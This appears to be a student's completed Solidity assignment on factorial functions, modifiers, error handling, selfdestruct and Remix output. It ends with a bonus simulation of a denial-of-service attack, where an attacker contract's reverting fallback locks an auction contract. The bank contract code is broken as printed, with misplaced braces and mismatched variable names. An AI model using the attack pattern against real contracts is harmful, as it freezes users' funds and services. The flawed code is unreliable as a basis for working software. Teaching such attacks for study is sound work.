

BlockBloom Project

Assignment 3

1. Write a solidity smart contract to find factorial of a number, write two functions with following function signature:
factorial(uint x) => returns factorial of x.
factRec(uint x) => returns factorial of x by recursion.
Compare and comment on the gas fees of both the functions.

Ans: // SPDX-License-Identifier: MIT

```
pragma solidity ^0.8.26;
```

```
contract Factorial{
```

```
    function factorial(uint x) public pure returns(uint) {
```

```
        uint ans = 1;
```

```
        if(x == 0 || x == 1){
```

```
            return ans;
```

```
        }
```

```
        for(uint i=x;i>1;i--){
```

```
            ans = ans*i;
```

```
        }
```

```
        return ans;
```

```
    }
```

```
    function factRec(uint x) public pure returns(uint) {
```

```
        if(x == 0||x == 1){
```

```
            return 1;
```

```
        }
```

```
        return x*factRec(x-1);
```

```
}  
  
}
```

When we calculate the factorial of a number using both the functions we can observe that the gas required for the factorial calculation using factRec is more than the first one factorial function in the transaction log.

This is also expected as more number of computations require more gas and also storage costs.

In the recursive factorial calculation it requires the stack of function calls to be maintained which is not the case in the first factorial function and hence the gas required for the factorial calculation using recursion is more than the first one.

2. What are modifiers in Solidity? Explore visibility modifiers and mutability modifiers in brief.

Resubmit your code of Question 1 by adding an 'onlyOwner' modifier to factRec() function. Add another function that can be used to change the owner. (Recall that we had this modifier in the contracts we generated using OpenZeppelin last week)

Ans: **Modifiers:** Modifiers are basically special functions which modify the function by adding checking conditions/restrictions, sort of similar to middleware.

Visibility Modifiers: Visibility modifiers are the modifiers which control the accessibility of the element as to where it can be accessed, within the contract or outside the contract etc.

There are four visibility modifiers in solidity:

- a. Public: These elements can be accessed from within the contract or outside the contract or any external user can access it.
- b. Private: Private elements can be accessed only within the contract.
- c. Internal: Internal elements can be accessed within the contract as well as the contracts which are derived from it i.e. children contracts.
- d. External: External elements can be accessed from anywhere outside the contract but it cannot be accessed within the same contract.

Mutability modifiers: These modifiers control how the function can interact with the state of the contract.

There are three most common mutability modifiers:

- **view:** This modifier indicates that the function can only read the state variables and cannot modify it.
- **pure:** This modifier indicates that the function cannot read or update any state variables and does not cause any change in the state of contract.
- **payable:** This modifier indicates that the element can receive the ether, can be used with the functions which accept payments etc.

```
• // SPDX-License-Identifier: MIT
• pragma solidity ^0.8.26;
•
• contract Factorial{
•     address owner;
•     constructor() {
•         owner = msg.sender;
•     }
•     modifier onlyOwner(){
•         require(owner == msg.sender,"This function can be called
only by owner of contract");
•         _;
•     }
•
•     function factorial(uint x) public pure returns(uint) {
•         uint ans = 1;
•         if(x == 0 || x == 1){
•             return ans;
•         }
•         for(uint i=x;i>1;i--){
•             ans = ans*i;
•         }
•         return ans;
•     }
•
•     function factRec(uint x) public view onlyOwner returns(uint)
{
•         if(x == 0 || x == 1){
•             return 1;
•         }
•         return x*factRec(x-1);
•     }
•     function changeOwner(address userAddress) public onlyOwner {
•         owner = userAddress;
•     }
• }
```

3. Explore error handling mechanisms in Solidity. In particular, look up what the keywords 'require', 'assert' and 'revert' are meant for.

Ans: Error handling mechanism in solidity:

- **require** : Require is mainly used to check for some external conditions that should be met before the function executes, say for validating the inputs to the function or controlling access of function.
If a required condition fails then the transaction is reverted. We can also provide a custom error message along with the required condition.
- **assert** : Assert is mainly used to cheque for some internal conditions that should be always true if the contracts logic is bug free .
For example if we have a contract with a function of division of two numbers, And if the logic is bug free then the value of the denominator should always be nonzero so we can assert this thing.
It is less informative as we cannot pass custom message along with the condition.
- **revert** : Revert is used when we want to explicitly revert a transaction with some optional error message
For example an attacker can use an explicit revert, to revert a particular transaction for some of his malicious benefits.

Therefore in summary “require” is used for input validation or checking preconditions or adding some restrictions to control access, and “assert” can be used for adding conditions which should never fail if the logic is right(i.e.bug free) and revert can be used to explicitly revert a transaction.

4. Implement self-destruct in the bank contract discussed in last class. How is it affecting the smart contract behaviour ? Explore the self-destruct opcode. Study the security implications and comment on its current status.

Ans:

Self destruct in smart contract is used to destroy the contract and sends all the amount to the payable address passed as the parameter. In case of some unexpected issues the contract can be destroyed using this self destruct function.

The opcode associated with the self-destruct function is SELFDESTRUCT.

Currently the self destruct function is deprecated and does not remove the code and the data from the blockchain, it just transfers the amount of the contract to the specified payable address passed as parameter.

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.26;

contract Bank{

    mapping(address => uint) balanceLedge;

    address owner;

    constructor() {

        owner = msg.sender;

    }

    modifier balanceCheck(uint amt){

        require(balanceLedge[msg.sender] >= amt,"Insufficient Balance");

        _;

    }

    modifier onlyOwner{

        require(owner == msg.sender,"You are not the owner.");

        _;

    }

    function deposit() public payable{

        balanceLedge[msg.sender] += msg.value;

    }

    function withdraw(uint _amt) public balanceCheck(_amt){

        balanceLedge[msg.sender]-=_amt;

        payable(msg.sender).transfer(_amt);

    }

}
```

```

function getBalance() public view returns (uint){
    return balanceLedger[msg.sender];
}

function transfer(uint _amt,address recipient) public balanceCheck(_amt){
    balanceLedger[msg.sender]-=_amt;
    payable(recipient).transfer(_amt);
}

function destroy() public onlyOwner{
    selfdestruct(payable(owner));
}
}

```

5. Consider the following function:

```

function transferEther() public payable returns (address, uint)
{
    return (msg.sender, msg.value);
}

```

When you execute the function, the output is not shown in the Remix IDE (just below the function call button).

Contrast it with the behaviour of:

```

function display() public view returns (address)
{
    return msg.sender;
}

```

Why is this happening? In general, when is the output displayed on the Remix IDE and when is it not?

Hint: Observe the terminal carefully in each case

Ans: The first function transfer ether is payable and therefore this leads to a transaction and transaction leads to a change in contract's state. This transaction has to be verified by the Ethereum Network which takes time,

whereas the second function display is read only that is it does not modify the state of the contract and hence the return value can be displayed.

When the first function is executed after the transaction is successfully verified by the Ethereum Network the transaction hash and the details of the transaction is logged into the terminal, whereas in the other case it is just a view function and it just reads the data from the blockchain and thus does not lead to any transaction.

6. (Optional/Bonus) What is a denial of service attack (DoS attack)?

Simulate an attack by writing appropriate contracts in Solidity.

Ans: A Denial of Service attack occurs when a malicious actor intentionally disrupts the normal functioning of a contract, making it unavailable to its intended users.

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.26;

contract AuctionBid{

    uint256 public highestBid;

    address payable public currentOwner;

    function bid() public payable {

        require(msg.value > highestBid,"You need to bid more");

        address prevOwner = currentOwner;

        uint256 prevBid = highestBid;

        payable(prevOwner).transfer(prevBid);

        highestBid = msg.value;

        currentOwner = payable(msg.sender);

    }

}
```

```
contract attackerContract{

    AuctionBid bidContract;

    constructor(address contractAddress){

        bidContract = AuctionBid(contractAddress);

    }

    function AttackerBid() public payable {

        bidContract.bid{value:msg.value}();

    }

    receive() external payable {

        revert();

    }

    fallback() external payable {

        revert();

    }

}
```